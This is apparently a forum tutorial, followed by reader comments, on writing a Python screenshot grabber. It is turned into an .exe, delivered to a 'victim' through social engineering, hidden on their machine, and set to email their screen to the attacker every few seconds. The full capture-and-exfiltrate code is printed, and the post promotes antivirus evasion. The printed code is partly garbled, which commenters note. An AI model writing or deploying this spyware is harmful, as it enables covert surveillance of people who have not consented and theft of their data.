How To: Make Your Remote Screenshot Captor(Python)

Make Your Remote Screenshot Captor(Python)

Hi I am a new member of null byte(although I am reading this website from the beginning) and this is going to be my first post.

Let me introduce myself first !

I am from Greece, I am working as a network engineer and I am into system and network administration but definitely I am not a developer. I am not so good at this, I don't want to and I don't have the time for this.

But I have to admit that It is good for anybody in this field(network administration, computer security etc) to have some basic skills and knowledge to fundamentals of programming because without these skills (at least) you will not go very far.

Ok let's begin with my tutorial and I have to say that It is not anything complicated or very technical but I am willing to show you( on my tutorial series) many beautiful python scripts that can give you CLEAN and FAST solutions.

I say clean because when you code something from the begining(an exploit, a listener etc) you don't have to worry about how to evade Antivirus, change signatures etc. and I say fast because It is more easier to make a script, converted as an .exe and make some social engineering instead of using all these tools that are already marked as viruses by the vast majority of anti-viruses.

Step 1: Prologue

As you understand from the title I am going to show you how to make a python script that can send screenshots from the "victim's" computer to the attacker's pc.

The way that It works is that when the "victim" enters this exe(with social engineering) then It saves a screenshot to his computer(we will choose a place to save this png in a way that he can't see It) and It sends a new screenshot every x seconds(minutes etc) to your email.

Step 2: Libraries

First of all let's set our libraries.

import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
import os
import autopy
import time

Step 3: Explanation of the Modules

Smtplib=The smtplib module defines an SMTP client session object that can be used to send mail to any Internet machine with an SMTP or ESMTP listener daemon

MIME=You can create a new object structure by creating messages instances, adding attachments and all the appropriate headers manually

import os= This module provides a portable way of using operating system dependent functionality

import autopy= AutoPy is a cross-platform, simple GUI automation toolkit for Python. It includes functions for controlling the keyboard and mouse, finding colors and bitmaps on-screen, and displaying alerts

import time=We will need this module to specify the time that we want the screenshots to our email

Step 4: Global Variables

Now we will put two global variables and we are going to write our email(I have chosen gmail you can choose whatever email service you want) and our password. We set the variables as global because our script is going to need It in many cases.

gmailuser = "blabla@gmail.com"
gmail
pwd = "I am the password"

Step 5: Functions

Now we are going to write our two functions.

The first function is for the capturing of the screen and we need to write where do we want to copy the png file on victim's pc.

Example:

def capture():
bitmap = autopy.bitmap.capturescreen()
bitmap.save("C:\capturing.png")

The second function is for setting the parameters for the attachment document:

def mail(to, subject, text, attach):

msg = MIMEMultipart()
msg'From' = gmailuser
msg'To' = "blabla@gmail.com"
msg'Subject' = subject

msg.attach(MIMEText(text))

part = MIMEBase('application', 'octet-stream')
part.setpayload(open(attach, 'rb').read())
Encoders.encodebase64(part)
part.add
header('Content-Disposition',
'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)

mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmailuser, gmailpwd)
mailServer.sendmail(gmailuser,"blabla@gmail.com", msg.asstring())
mailServer.close()

Step 6: The End

The ending function gathers these two functions and setting some parameters like the subject of the email and the time that we want the program to send us the screenshots. I set It to send me the screenshots every 5 seconds but of course you can set the time however you want

def main():
while True:
capture()
mail("some.person@some.address.com",
"Antisocial Engineering",
"This is an evil email",
"C:\capturing.png")
time.sleep(5)

if _name_=='_main_':
main()

Step 7: The Source Code

https://gist.github.com/Ierofantis/b313f4816d730e11d575

Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:

11 Comments

Thank you for your tutorial. I am new to this and trying to learn python.

Here are some issues I had:

1- msg'From' msg'To' msg'Subject' had to add the brackets.

2- Needed to install autopy, I didn't know much of libs so I spend a couple minutes figuring this.

3- In this line part.setpayload(open(attach, 'rb').read())_

googling I found the correct name us setpayload, please correct me if I am wrong.

4- Also on the same line I am getting NameError: name 'attach' is not defined.

I am stuck whit this one.

Thanks!

Hi and Welcome :)

Answer 4

I can't tell you for sure If I don't see the code but check that you didn't miss any parenthesis in this line.

Till the end of the day I will upload the code to github and maybe your life is going to be easier.

at which lines should we tab/indent code?

I think i remember correctly that Python cares about indents

also are those Imports and Froms already included in Python? or do we need to download it from somewhere?

yes you remember correctly about indentation.

I can't remember if I download anything else than autopy.But I don't think so.

Till the end of the day I will upload the code to github and maybe your life is going to be easier.

It would be better if you can provide gist for the py script.
Its little bit confusing right now to beginners.

Yes I will do this as you suggested :)

Anyone getting the error "fatal error: X11/extensions/XTest.h: No such file or directory" when trying to pip install autopy, I overcame this by doing 'apt-get install libxtst-dev'. I could then pip install autopy. This was on kali linux. Thanks IEROFANTIS for the tutorial ;)

Thank you for the contribution and welcome !

Where did you learned to do this kind of stuff? Because i just finished some basic Python curses on code academy ( well almost) its hard hehe..

And i just dont have the knowledge to start these scripts on my own.

Share Your Thoughts

  • Hot
  • Latest